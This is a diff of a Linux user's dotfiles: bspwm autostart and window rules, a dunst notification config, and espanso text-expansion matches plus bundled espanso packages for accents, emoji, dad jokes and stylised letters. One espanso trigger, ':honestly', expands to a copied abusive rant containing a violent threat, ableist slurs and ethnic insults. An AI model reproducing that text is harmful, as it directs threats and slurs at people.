/usr/lib/mate-polkit/polkit-mate-authentication-agent-1 &
## Desktop portal
/usr/lib/xdg-desktop-portal-gtk &
## Gnome keyring
gnome-keyring-daemon &
## Notification daemon
dunst &
## Set screen locker
xss-lock -v -- betterlockscreen -l &
###############################################################################################################################
## Autostart apps ##
###############################################################################################################################
## Launch jgmenu - dirty hack :)
rm ~/.jgmenu-lockfile;
jgmenu --at-pointer --hide-on-startup &
## Launch side notification tray, and move it to top
#(tint2; sleep 10; xdo raise -n tint2) &
## launch tray
stalonetray -v --geometry=1x48+0+35 &
## Screenshot daemon
flameshot &
## Autostart
run_keybase -a &
## Telegram daemon
telegram-desktop -startintray &
## Caffeine-ng
caffeine >/dev/null 2>&1 &
## Ulauncher
sleep 3 ;
ulauncher --hide-window >/dev/null 2>&1 &
## Activity watch
aw-qt >/dev/null 2>&1 &
## Desktop entries in autostart
dex -as ~/.config/autostart/ &
###############################
## THINKPAD-SPECIFIC ##
###############################
dockd --daemon &
###############################################################################################################################
## Launch polybar - Keep last! ##
###############################################################################################################################
sleep 7 ;
$HOME/.config/polybar/launch.sh &

123
.config/bspwm/bspwmrc Executable file
View File

@@ -0,0 +1,123 @@
#!/bin/dash
gap=7
PANEL_HEIGHT=27
DOCK_WIDTH=24
export gap
export PANEL_HEIGHT
export DOCK_WIDTH
#This creates negative padding equal to window gap so that gaps are shown only between windows and not on desktop edges.
bspc config window_gap $gap;
bspc config top_padding $(($PANEL_HEIGHT-$gap))
bspc config left_padding $(($DOCK_WIDTH-$gap))
bspc config right_padding -$gap
bspc config bottom_padding -$gap
#Various settings
bspc config gapless_monocle false #Default setup uses negative padding, and gapless monocle looks really weird like that
bspc config borderless_monocle true
bspc config single_monocle true
bspc config paddingless_monocle false
#bspc config ignore_ewmh_focus true
#bspc config initial_polarity second_child
bspc config remove_disabled_monitors true
bspc config remove_unplugged_monitors true
## Honor size hints: do not make windows smaller than they wish to be
#bspc config honor_size_hints true
##Color settings
bspc config focused_border_color "#1ABB9B"
bspc config normal_border_color "#222D32"
#"#000000"
bspc config presel_feedback_color "#1ABB9B"
#"#8F3724"
bspc config border_width 1
bspc config focus_follows_pointer true
#bspc config pointer_follows_focus true #Some keybindings automatically enable and disable this setting
#Settings for manual splitting
bspc config split_ratio 0.52
#bspc monitor -d i ii iii iv v vi vii viii ix x
#bspc monitor -d One Two Three Four Five Six Seven Eight Nine Ten
#bspc monitor -d I II III IV V VI VII VIII IX X
#bspc monitor -d • • • • • • • • • •
#bspc monitor -d I II III IV V VI
###This creates and names desktops for multiple monitors.
workspaces_multimonitor &
bspc rule -a screenkey --unmanage
bspc rule -a gcolor2 state=floating center=true
bspc rule -a lxappearance state=floating center=true
bspc rule -a gmrun state=floating center=true
bspc rule -a lxterminal state=floating center=true sticky=true
#bspc rule -a urxvt state=floating center=true
bspc rule -a viewnior state=floating center=true
bspc rule -a file-roller state=floating center=true
bspc rule -a floaterm state=floating center=true
bspc rule -a spotify state=pseudo_tiled
#bspc rule -a nautilus state=pseudo_tiled
#bspc rule -a skype state=pseudo_tiled
bspc rule -a file-roller state=pseudo_tiled
bspc rule -a transmission-gtk state=pseudo_tiled
bspc rule -a conky sticky=on manage=off lower=on
bspc rule -a astime sticky=on
bspc rule -a yad state=floating
bspc rule -a Docky layer=above border=off manage=on
bspc rule -a Plank layer=above border=off manage=on
bspc rule -a wbar layer=above
bspc rule -a dockbarx layer=above
bspc rule -a google-chrome-unstable private=on
bspc rule -a google-chrome-stable private=on
bspc rule -a chromium private=on
bspc rule -a firefox private=on
bspc rule -a midori private=on
bspc rule -a gnome-pie border=off manage=off
bspc rule -a wpa_gui state=pseudo_tiled
bspc rule -a libreoffice state=tiled
bspc rule -a '*:libreofficedev' state=tiled
bspc rule -a '*:soffice' state=tiled
bspc rule -a firefox desktop=I
bspc rule -a brave-browser desktop=I
#bspc rule -a calibre desktop=II
#bspc rule -a geany desktop=II
#bspc rule -a deluge desktop=III
bspc rule -a polybar border=off
bspc rule -a 9menu border=off manage=off
bspc rule -a tint2 layer=above border=off manage=off
bspc rule -a dunst border=off manage=off
bspc rule -a Ulauncher border=off
bspc rule -a Variety state=floating rectangle=1600x120+0+440
#bspc desktop I --layout monocle
#bspc desktop II --layout monocle
## Autogap adjusts windowgap automagically according to the number of
## windows on the desktop. Using it disables negative window gap.
autogap &
## This script balances all windows when new one is spawned
#euclid_balancer &
##Edge-switcher switches to next workspace when moves moves to the
##edge of the monitor (behavior similar to enlightenment)
#edge-switcher &
###External rules
##Pseudo automatic mode: always splits focused window when opening new window
#bspc config external_rules_command /usr/bin/pseudo_automatic_mode
##Adjust new window: splits biggest windows to keep windows about the same size
#bspc config external_rules_command /usr/bin/adjust-new-window
##Autostart apps
#Keybindings daemon
sxhkd &
#wmname LG3D;
#export _JAVA_AWT_WM_NONREPARENTING=1;
#Source autostartfile. Uncomment this if you use bspwm-git
. $HOME/.config/bspwm/autostart > /tmp/bspwm-autostart.log 2>&1

472
.config/dunst/dunstrc Normal file
View File

@@ -0,0 +1,472 @@
[global]
### Display ###
# Which monitor should the notifications be displayed on.
monitor = 0
# Display notification on focused monitor. Possible modes are:
# mouse: follow mouse pointer
# keyboard: follow window with keyboard focus
# none: don't follow anything
#
# "keyboard" needs a window manager that exports the
# _NET_ACTIVE_WINDOW property.
# This should be the case for almost all modern window managers.
#
# If this option is set to mouse or keyboard, the monitor option
# will be ignored.
follow = mouse
# The geometry of the window:
# [{width}]x{height}[+/-{x}+/-{y}]
# The geometry of the message window.
# The height is measured in number of notifications everything else
# in pixels. If the width is omitted but the height is given
# ("-geometry x2"), the message window expands over the whole screen
# (dmenu-like). If width is 0, the window expands to the longest
# message displayed. A positive x is measured from the left, a
# negative from the right side of the screen. Y is measured from
# the top and down respectively.
# The width can be negative. In this case the actual width is the
# screen width minus the width defined in within the geometry option.
#
#geometry = "400x10-600+35"
width = 400
height = 600
origin = top-right
offset = 10x35
# Turn on the progess bar
progress_bar = true
# Set the progress bar height. This includes the frame, so make sure
# it's at least twice as big as the frame width.
progress_bar_height = 10
# Set the frame width of the progress bar
progress_bar_frame_width = 1
# Set the minimum width for the progress bar
progress_bar_min_width = 150
# Set the maximum width for the progress bar
progress_bar_max_width = 300
# Show how many messages are currently hidden (because of geometry).
indicate_hidden = yes
# Shrink window if it's smaller than the width. Will be ignored if
# width is 0.
shrink = no
# The transparency of the window. Range: [0; 100].
# This option will only work if a compositing window manager is
# present (e.g. xcompmgr, compiz, etc.).
transparency = 30
# Draw a line of "separator_height" pixel height between two
# notifications.
# Set to 0 to disable.
separator_height = 2
# Padding between text and separator.
padding = 8
# Horizontal padding.
horizontal_padding = 8
# Padding between text and icon.
text_icon_padding = 0
# Defines width in pixels of frame around the notification window.
# Set to 0 to disable.
frame_width = 1
# Defines color of the frame around the notification window.
#frame_color = "#aaaaaa00"
# Define a color for the separator.
# possible values are:
# * auto: dunst tries to find a color fitting to the background;
# * foreground: use the same color as the foreground;
# * frame: use the same color as the frame;
# * anything else will be interpreted as a X color.
#separator_color = "#00000000"
frame_color = "#ED8796"
separator_color= frame
# Sort messages by urgency.
sort = yes
# Don't remove messages, if the user is idle (no mouse or keyboard input)
# for longer than idle_threshold seconds.
# Set to 0 to disable.
# A client can set the 'transient' hint to bypass this. See the rules
# section for how to disable this if necessary
idle_threshold = 120
### Text ###
font = SauceCodePro Nerd Font Propo 8
# The spacing between lines. If the height is smaller than the
# font height, it will get raised to the font height.
line_height = 0
# Possible values are:
# full: Allow a small subset of html markup in notifications:
# <b>bold</b>
# <i>italic</i>
# <s>strikethrough</s>
# <u>underline</u>
#
# For a complete reference see
# <https://developer.gnome.org/pango/stable/pango-Markup.html>.
#
# strip: This setting is provided for compatibility with some broken
# clients that send markup even though it's not enabled on the
# server. Dunst will try to strip the markup but the parsing is
# simplistic so using this option outside of matching rules for
# specific applications *IS GREATLY DISCOURAGED*.
#
# no: Disable markup parsing, incoming notifications will be treated as
# plain text. Dunst will not advertise that it has the body-markup
# capability if this is set as a global setting.
#
# It's important to note that markup inside the format option will be parsed
# regardless of what this is set to.
markup = full
# The format of the message. Possible variables are:
# %a appname
# %s summary
# %b body
# %i iconname (including its path)
# %I iconname (without its path)
# %p progress value if set ([ 0%] to [100%]) or nothing
# %n progress value if set without any extra characters
# %% Literal %
# Markup is allowed
format = "<b>%s</b>\n%b"
# Alignment of message text.
# Possible values are "left", "center" and "right".
alignment = left
# Vertical alignment of message text and icon.
# Possible values are "top", "center" and "bottom".
vertical_alignment = center
# Show age of message if message is older than show_age_threshold
# seconds.
# Set to -1 to disable.
show_age_threshold = 60
# Split notifications into multiple lines if they don't fit into
# geometry.
word_wrap = yes
# When word_wrap is set to no, specify where to make an ellipsis in long lines.
# Possible values are "start", "middle" and "end".
ellipsize = middle
# Ignore newlines '\n' in notifications.
ignore_newline = no
# Stack together notifications with the same content
stack_duplicates = true
# Hide the count of stacked notifications with the same content
hide_duplicate_count = false
# Display indicators for URLs (U) and actions (A).
show_indicators = yes
### Icons ###
enable_recursive_icon_lookup = true
icon_theme = Papirus-Dark
# Align icons left/right/off
icon_position = left
# Scale small icons up to this size, set to 0 to disable. Helpful
# for e.g. small files or high-dpi screens. In case of conflict,
# max_icon_size takes precedence over this.
min_icon_size = 16
# Scale larger icons down to this size, set to 0 to disable
max_icon_size = 32
# Paths to default icons.
icon_path = /usr/share/icons/Papirus-Dark/16x16/actions/:/usr/share/icons/Papirus-Dark/16x16/devices/
### History ###
# Should a notification popped up from history be sticky or timeout
# as if it would normally do.
sticky_history = yes
# Maximum amount of notifications kept in history
history_length = 20
### Misc/Advanced ###
# dmenu path.
dmenu = /usr/bin/dmenu -p dunst:
# Browser for opening urls in context menu.
browser = /usr/bin/firefox -new-tab
# Always run rule-defined scripts, even if the notification is suppressed
always_run_script = true
# Define the title of the windows spawned by dunst
title = Dunst
# Define the class of the windows spawned by dunst
class = Dunst
# Define the corner radius of the notification window
# in pixel size. If the radius is 0, you have no rounded
# corners.
# The radius will be automatically lowered if it exceeds half of the
# notification height to avoid clipping text and/or icons.
corner_radius = 10
# Ignore the dbus closeNotification message.
# Useful to enforce the timeout set by dunst configuration. Without this
# parameter, an application may close the notification sent before the
# user defined timeout.
ignore_dbusclose = false
### Wayland ###
# These settings are Wayland-specific. They have no effect when using X11
# Uncomment this if you want to let notications appear under fullscreen
# applications (default: overlay)
# layer = top
# Set this to true to use X11 output on Wayland.
force_xwayland = false
### Legacy
# Use the Xinerama extension instead of RandR for multi-monitor support.
# This setting is provided for compatibility with older nVidia drivers that
# do not support RandR and using it on systems that support RandR is highly
# discouraged.
#
# By enabling this setting dunst will not be able to detect when a monitor
# is connected or disconnected which might break follow mode if the screen
# layout changes.
force_xinerama = false
### mouse
# Defines list of actions for each mouse event
# Possible values are:
# * none: Don't do anything.
# * do_action: If the notification has exactly one action, or one is marked as default,
# invoke it. If there are multiple and no default, open the context menu.
# * close_current: Close current notification.
# * close_all: Close all notifications.
# These values can be strung together for each mouse event, and
# will be executed in sequence.
mouse_left_click = do_action, close_current
mouse_middle_click = close_all
mouse_right_click = close_current
# Experimental features that may or may not work correctly. Do not expect them
# to have a consistent behaviour across releases.
[experimental]
# Calculate the dpi to use on a per-monitor basis.
# If this setting is enabled the Xft.dpi value will be ignored and instead
# dunst will attempt to calculate an appropriate dpi value for each monitor
# using the resolution and physical size. This might be useful in setups
# where there are multiple screens with very different dpi values.
per_monitor_dpi = false
# The internal keyboard shortcut support in dunst is now considered deprecated
# and should be replaced by dunstctl calls. You can use the configuration of your
# WM or DE to bind these to shortcuts of your choice.
# Check the dunstctl manual page for more info.
[shortcuts]
# Shortcuts are specified as [modifier+][modifier+]...key
# Available modifiers are "ctrl", "mod1" (the alt-key), "mod2",
# "mod3" and "mod4" (windows-key).
# Xev might be helpful to find names for keys.
# Close notification. Equivalent dunstctl command:
# dunstctl close
# close = ctrl+space
# Close all notifications. Equivalent dunstctl command:
# dunstctl close-all
# close_all = ctrl+shift+space
# Redisplay last message(s). Equivalent dunstctl command:
# dunstctl history-pop
# history = ctrl+grave
# Context menu. Equivalent dunstctl command:
# dunstctl context
# context = ctrl+shift+period
[urgency_low]
background = "#24273A"
foreground = "#6E738D"
[urgency_normal]
background = "#24273A"
foreground = "#CAD3F5"
[urgency_critical]
background = "#ED8796"
foreground = "#24273A"
frame_color = "#EED49F"
#[urgency_low]
## IMPORTANT: colors have to be defined in quotation marks.
## Otherwise the "#" and following would be interpreted as a comment.
#background = "#222222"
#foreground = "#eceff4"
#timeout = 10
## Icon for notifications with low urgency, uncomment to enable
##icon = /path/to/icon
#[urgency_normal]
#background = "#4c566a"
#foreground = "#eceff4"
#timeout = 10
## Icon for notifications with normal urgency, uncomment to enable
##icon = /path/to/icon
#[urgency_critical]
#background = "#bf616a"
#foreground = "#eceff4"
#timeout = 0
## Icon for notifications with critical urgency, uncomment to enable
##icon = /path/to/icon
# Every section that isn't one of the above is interpreted as a rules to
# override settings for certain messages.
#
# Messages can be matched by
# appname (discouraged, see desktop_entry)
# body
# category
# desktop_entry
# icon
# match_transient
# msg_urgency
# stack_tag
# summary
#
# and you can override the
# background
# foreground
# format
# frame_color
# fullscreen
# new_icon
# set_stack_tag
# set_transient
# timeout
# urgency
#
# Shell-like globbing will get expanded.
#
# Instead of the appname filter, it's recommended to use the desktop_entry filter.
# GLib based applications export their desktop-entry name. In comparison to the appname,
# the desktop-entry won't get localized.
#
# SCRIPTING
# You can specify a script that gets run when the rule matches by
# setting the "script" option.
# The script will be called as follows:
# script appname summary body icon urgency
# where urgency can be "LOW", "NORMAL" or "CRITICAL".
#
# NOTE: if you don't want a notification to be displayed, set the format
# to "".
# NOTE: It might be helpful to run dunst -print in a terminal in order
# to find fitting options for rules.
# Disable the transient hint so that idle_threshold cannot be bypassed from the
# client
#[transient_disable]
# match_transient = yes
# set_transient = no
#
# Make the handling of transient notifications more strict by making them not
# be placed in history.
#[transient_history_ignore]
# match_transient = yes
# history_ignore = yes
# fullscreen values
# show: show the notifications, regardless if there is a fullscreen window opened
# delay: displays the new notification, if there is no fullscreen window active
# If the notification is already drawn, it won't get undrawn.
# pushback: same as delay, but when switching into fullscreen, the notification will get
# withdrawn from screen again and will get delayed like a new notification
#[fullscreen_delay_everything]
# fullscreen = delay
#[fullscreen_show_critical]
# msg_urgency = critical
# fullscreen = show
#[espeak]
# summary = "*"
# script = dunst_espeak.sh
#[script-test]
# summary = "*script*"
# script = dunst_test.sh
#[ignore]
# # This notification will not be displayed
# summary = "foobar"
# format = ""
#[history-ignore]
# # This notification will not be saved in history
# summary = "foobar"
# history_ignore = yes
#[skip-display]
# # This notification will not be displayed, but will be included in the history
# summary = "foobar"
# skip_display = yes
#[signed_on]
# appname = Pidgin
# summary = "*signed on*"
# urgency = low
#
#[signed_off]
# appname = Pidgin
# summary = *signed off*
# urgency = low
#
#[says]
# appname = Pidgin
# summary = *says*
# urgency = critical
#
#[twitter]
# appname = Pidgin
# summary = *twitter.com*
# urgency = normal
#
#[stack-volumes]
# appname = "some_volume_notifiers"
# set_stack_tag = "volume"
#
# vim: ft=cfg

View File

@@ -0,0 +1,40 @@
# espanso configuration file
# For a complete introduction, visit the official docs at: https://espanso.org/docs/
# You can use this file to define the global configuration options for espanso.
# These are the parameters that will be used by default on every application,
# but you can also override them on a per-application basis.
# To make customization easier, this file contains some of the commonly used
# parameters. Feel free to uncomment and tune them to fit your needs!
# --- Toggle key
# Customize the key used to disable and enable espanso (when double tapped)
# Available options: CTRL, SHIFT, ALT, CMD, OFF
# You can also specify the key variant, such as LEFT_CTRL, RIGHT_SHIFT, etc...
# toggle_key: ALT
# You can also disable the toggle key completely with
# toggle_key: OFF
# --- Injection Backend
# Espanso supports multiple ways of injecting text into applications. Each of
# them has its quirks, therefore you may want to change it if you are having problems.
# By default, espanso uses the "Auto" backend which should work well in most cases,
# but you may want to try the "Clipboard" or "Inject" backend in case of issues.
# backend: Clipboard
# --- Auto-restart
# Enable/disable the config auto-reload after a file change is detected.
# auto_restart: false
# --- Clipboard threshold
# Because injecting long texts char-by-char is a slow operation, espanso automatically
# uses the clipboard if the text is longer than 'clipboard_threshold' characters.
# clipboard_threshold: 100
# For a list of all the available options, visit the official docs at: https://espanso.org/docs/

View File

@@ -0,0 +1,71 @@
# espanso match file
# For a complete introduction, visit the official docs at: https://espanso.org/docs/
# You can use this file to define the base matches (aka snippets)
# that will be available in every application when using espanso.
# Matches are substitution rules: when you type the "trigger" string
# it gets replaced by the "replace" string.
matches:
# Simple text replacement
- trigger: ":espanso"
replace: "Hi there!"
# NOTE: espanso uses YAML to define matches, so pay attention to the indentation!
# But matches can also be dynamic:
# Print the current date
- trigger: ":date"
replace: "{{mydate}}"
vars:
- name: mydate
type: date
params:
format: "%m/%d/%Y"
# Print the output of a shell command
- trigger: ":shell"
replace: "{{output}}"
vars:
- name: output
type: shell
params:
cmd: "echo 'Hello from your shell'"
- trigger: ":zettelkasten"
replace: "{{zettelkastendate}}"
vars:
- name: zettelkastendate
type: date
params:
format: "%Y%m%d%H%M%S"
- trigger: ":epoch"
replace: "{{epoch}}"
vars:
- name: epoch
type: date
params:
format: "%s"
- trigger: ":ISOdate"
replace: "{{ISO}}"
vars:
- name: ISO
type: date
params:
format: "%+"
- trigger: ":lennyface"
replace: "( ͡° ͜ʖ ͡°)"
- trigger: ":fitnessgram"
replace: "The FitnessGram™ Pacer Test is a multistage aerobic capacity test that progressively gets more difficult as it continues. The 20 meter pacer test will begin in 30 seconds. Line up at the start. The running speed starts slowly, but gets faster each minute after you hear this signal. [beep] A single lap should be completed each time you hear this sound. [ding] Remember to run in a straight line, and run as long as possible. The second time you fail to complete a lap before the sound, your test is over. The test will begin on the word start. On your mark, get ready, start."
# And much more! For more information, visit the docs: https://espanso.org/docs/
- trigger: ":foreshadowing"
replace: "Foreshadowing is a narrative device in which a storyteller gives an advance hint of what is to come later in the story. Foreshadowing often appears at the beginning of a story, and it helps develop or subvert the audience's expectations about upcoming events."
- trigger: ":honestly"
replace: "Do you honestly think you're fucking funny, fucking with my friends? Seriously, you're a fucking ugly little cunt mate, and if I ever see you i'm gunna slit your fucking face wide open yeh? You're a fucking angry little fucking spastic. OK, right, lets, first off, uhh youre seventeen so youre not even old enough to play the game, youre from Scotland not Nigeria and you annoy people and put them on YouTube cos youre a cunt, which I totally agree with. So why dont you crawl back up your mums fanny and die? Right, Ill tell you what, you fat little cunt, youre borin you dont sound Nigerian at all so go fuck yourself… GO AND CRAWL IN A DIRTY DANK LITTLE HOLE WHERE YOU FUCKING COME FROM, YOU DIRTY DRAGON EATIN LITTLE FUCKING SPASTIC. Right, OK, the dragon comment was probably a little bit fucking over-the-top, but at the end of the day youre fucking borin. Every single person who watches your videos are fucking stoopid. Theyre fucking ignorant little cunts. And youre just a fucking retard."

View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2022 Joshua J. Hall
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -0,0 +1,24 @@
# Espanso Accented Words
Simple package to extend [Espanso](https://espanso.org) with commonly accented words used in English.
## Installation
```
espanso install accented-words
```
## Usage
Just type the word. Words that may or may not require accents in English will only be accented after a trailing apostrphe (') is added. For example, both `rose` and `rosé` are separate words in English with very different meanings, so only `rose'` will exapnd to `rosé`. Here are a few examples...
* cafe' > café
* rose' > rosé
* resume' > résumé
* angstrom > ångström
* Champs-Elysees > Champs-Élysées
* Francois > François
## Contributions
Contributions are welcome. Feel free to fork and submit PRs with additional words to add to this list. This is far from an exhaustive list.

View File

@@ -0,0 +1,7 @@
name: accented-words
title: Accented Words
description: Automatically accent commonly accented words and proper nouns in English.
version: 1.0.0
author: Joshua Hall
homepage: "https://github.com/joshjhall/espanso-accented-words"
tags: ["english", "languages", "accents"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,252 @@
# Accented Words
matches:
- trigger: "Champs-Elysees"
replace: "Champs-Élysées"
propagate_case: true
word: true
- trigger: "Francois"
replace: "François"
propagate_case: true
word: true
- trigger: "Metis"
replace: "Métis"
propagate_case: true
word: true
- trigger: "Quebec"
replace: "Québec"
propagate_case: true
word: true
- trigger: "angstrom"
replace: "ångström"
propagate_case: true
word: true
- trigger: "brulee"
replace: "brûlée"
propagate_case: true
word: true
- trigger: "cafe'"
replace: "café"
propagate_case: true
word: true
- trigger: "chateau"
replace: "château"
propagate_case: true
word: true
- trigger: "cliche"
replace: "cliché"
propagate_case: true
word: true
- trigger: "creme"
replace: "crème"
propagate_case: true
word: true
- trigger: "crepe"
replace: "crêpe"
propagate_case: true
word: true
- trigger: "debacle"
replace: "débâcle"
propagate_case: true
word: true
- trigger: "debutante"
replace: "débutante"
propagate_case: true
word: true
- trigger: "detente"
replace: "détente"
propagate_case: true
word: true
- trigger: "divorcee"
replace: "divorcée"
propagate_case: true
word: true
- trigger: "doppelganger"
replace: "doppelgänger"
propagate_case: true
word: true
- trigger: "eclair"
replace: "éclair"
propagate_case: true
word: true
- trigger: "eclat"
replace: "éclat"
propagate_case: true
word: true
- trigger: "emigre"
replace: "émigré"
propagate_case: true
word: true
- trigger: "entree"
replace: "entrée"
propagate_case: true
word: true
- trigger: "epee"
replace: "épée"
propagate_case: true
word: true
- trigger: "expose'"
replace: "exposé"
propagate_case: true
word: true
- trigger: "facade"
replace: "façade"
propagate_case: true
word: true
- trigger: "fete"
replace: "fête"
propagate_case: true
word: true
- trigger: "fiance"
replace: "fiancé"
propagate_case: true
word: true
- trigger: "flambe"
replace: "flambé"
propagate_case: true
word: true
- trigger: "francais"
replace: "français"
propagate_case: true
word: true
- trigger: "habitue"
replace: "habitué"
propagate_case: true
word: true
- trigger: "ingenue"
replace: "ingénue"
propagate_case: true
word: true
- trigger: "jalapeno"
replace: "jalapeño"
propagate_case: true
word: true
- trigger: "manana"
replace: "mañana"
propagate_case: true
word: true
- trigger: "matinee"
replace: "matinée"
propagate_case: true
word: true
- trigger: "melange"
replace: "mélange"
propagate_case: true
word: true
- trigger: "melee"
replace: "mêlée"
propagate_case: true
word: true
- trigger: "moire"
replace: "moiré"
propagate_case: true
word: true
- trigger: "naive"
replace: "naïve"
propagate_case: true
word: true
- trigger: "nee'"
replace: "née"
propagate_case: true
word: true
- trigger: "ole'"
replace: "olé"
propagate_case: true
word: true
- trigger: "protege"
replace: "protégé"
propagate_case: true
word: true
- trigger: "resume'"
replace: "résumé"
propagate_case: true
word: true
- trigger: "rose'"
replace: "rosé"
propagate_case: true
word: true
- trigger: "saute"
replace: "sauté"
propagate_case: true
word: true
- trigger: "seance"
replace: "séance"
propagate_case: true
word: true
- trigger: "senor"
replace: "señor"
propagate_case: true
word: true
- trigger: "smorgasbord"
replace: "smörgåsbord"
propagate_case: true
word: true
- trigger: "soiree"
replace: "soirée"
propagate_case: true
word: true
- trigger: "souffle'"
replace: "soufflé"
propagate_case: true
word: true
- trigger: "soupcon"
replace: "soupçon"
propagate_case: true
word: true
- trigger: "touche'"
replace: "touché"
propagate_case: true
word: true
- trigger: "voila"
replace: "voilà"
propagate_case: true
word: true

View File

@@ -0,0 +1,14 @@
## Actually All Emojis
An up-to-date package for [espanso](https://espanso.org/) which provides triggers for all emojis (`v14.0`). Emojis and codes fetched from [Unicode.org](https://unicode.org/emoji/charts/full-emoji-list.html)
### Usage
To use this package, just type the name of the emoji between two colons. For example, to use the `smile` emoji 😄, you can type: `:smile:`
A full list of emojis and their CLDR Short Names can be found [here](https://unicode.org/emoji/charts/full-emoji-list.html)
**Note**: There are two options for this package. One with spaces between words, and one with underscores. This version uses _underscores_
For example `:kissing_face:`
To install the version with spaces use `actually-all-emojis-spaces`

View File

@@ -0,0 +1,7 @@
author: Jobie Wong
description: An updated package providing all v.14 emojis - fetched from unicode.org
name: actually-all-emojis
title: Actually All Emojis
version: 0.1.0
homepage: "https://github.com/jobiewong/espanso-emojis"
tags: ["emoji", "chat"]

View File

@@ -0,0 +1,2 @@
---
hub

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2020 Yordan Ivanov
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -0,0 +1,20 @@
# Espanso Dadjoke
A simple package that expands to a random dad joke every time.
Powered by [icanhazdadjoke](https://icanhazdadjoke.com/).
## Installation
Make sure you have already installed [Espanso](https://espanso.org/install/) first.
```sh
espanso install dadjoke
```
Now you can open Slack and type `:dadjoke`
## Notes
* Requires `curl`
* Not tested on Windows

View File

@@ -0,0 +1,7 @@
author: Yordan Ivanov
description: A random dad joke every time
name: dadjoke
title: Dadjoke
version: 0.1.0
homepage: "https://github.com/ivanovyordan/espanso-package-dadjoke"
tags: ["fun", "jokes"]

View File

@@ -0,0 +1,2 @@
---
hub

View File

@@ -0,0 +1,8 @@
matches:
- trigger: ":dadjoke"
replace: "{{output}}"
vars:
- name: output
type: shell
params:
cmd: "curl -H 'Accept: text/plain' https://icanhazdadjoke.com/"

View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2021 Ihor Kopach https://github.com/kopach
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@@ -0,0 +1,78 @@
# Double stroke letters
[Espanso](https://espanso.org) package to easy write Double stroke letters.
⭐️ Consider to star this package on [GitHub](https://github.com/kopach/espanso-package-double-stroke-letters/stargazers) — it helps!
[✨ 👉 Check out my other espanso packages 👈 ✨](https://github.com/kopach?tab=repositories&q=espanso-package&type=source)
<h1 align="center">
![demo](https://github.com/kopach/espanso-package-double-stroke-letters/raw/main/assets/demo.gif)
</h1>
## Triggers
| Keyword | Replaced |
| ------- | -------- |
| `;//A` | `𝔸` |
| `;//B` | `𝔹` |
| `;//C` | `` |
| `;//D` | `𝔻` |
| `;//E` | `𝔼` |
| `;//F` | `𝔽` |
| `;//G` | `𝔾` |
| `;//H` | `` |
| `;//I` | `𝕀` |
| `;//J` | `𝕁` |
| `;//K` | `𝕂` |
| `;//L` | `𝕃` |
| `;//M` | `𝕄` |
| `;//N` | `` |
| `;//O` | `𝕆` |
| `;//P` | `` |
| `;//Q` | `` |
| `;//R` | `` |
| `;//S` | `𝕊` |
| `;//T` | `𝕋` |
| `;//U` | `𝕌` |
| `;//V` | `𝕍` |
| `;//W` | `𝕎` |
| `;//X` | `𝕏` |
| `;//Y` | `𝕐` |
| `;//Z` | `` |
| `;//a` | `𝕒` |
| `;//b` | `𝕓` |
| `;//c` | `𝕔` |
| `;//d` | `𝕕` |
| `;//e` | `𝕖` |
| `;//f` | `𝕗` |
| `;//g` | `𝕘` |
| `;//h` | `𝕙` |
| `;//i` | `𝕚` |
| `;//j` | `𝕛` |
| `;//k` | `𝕜` |
| `;//l` | `𝕝` |
| `;//m` | `𝕞` |
| `;//n` | `𝕟` |
| `;//o` | `𝕠` |
| `;//p` | `𝕡` |
| `;//q` | `𝕢` |
| `;//r` | `𝕣` |
| `;//s` | `𝕤` |
| `;//t` | `𝕥` |
| `;//u` | `𝕦` |
| `;//v` | `𝕧` |
| `;//w` | `𝕨` |
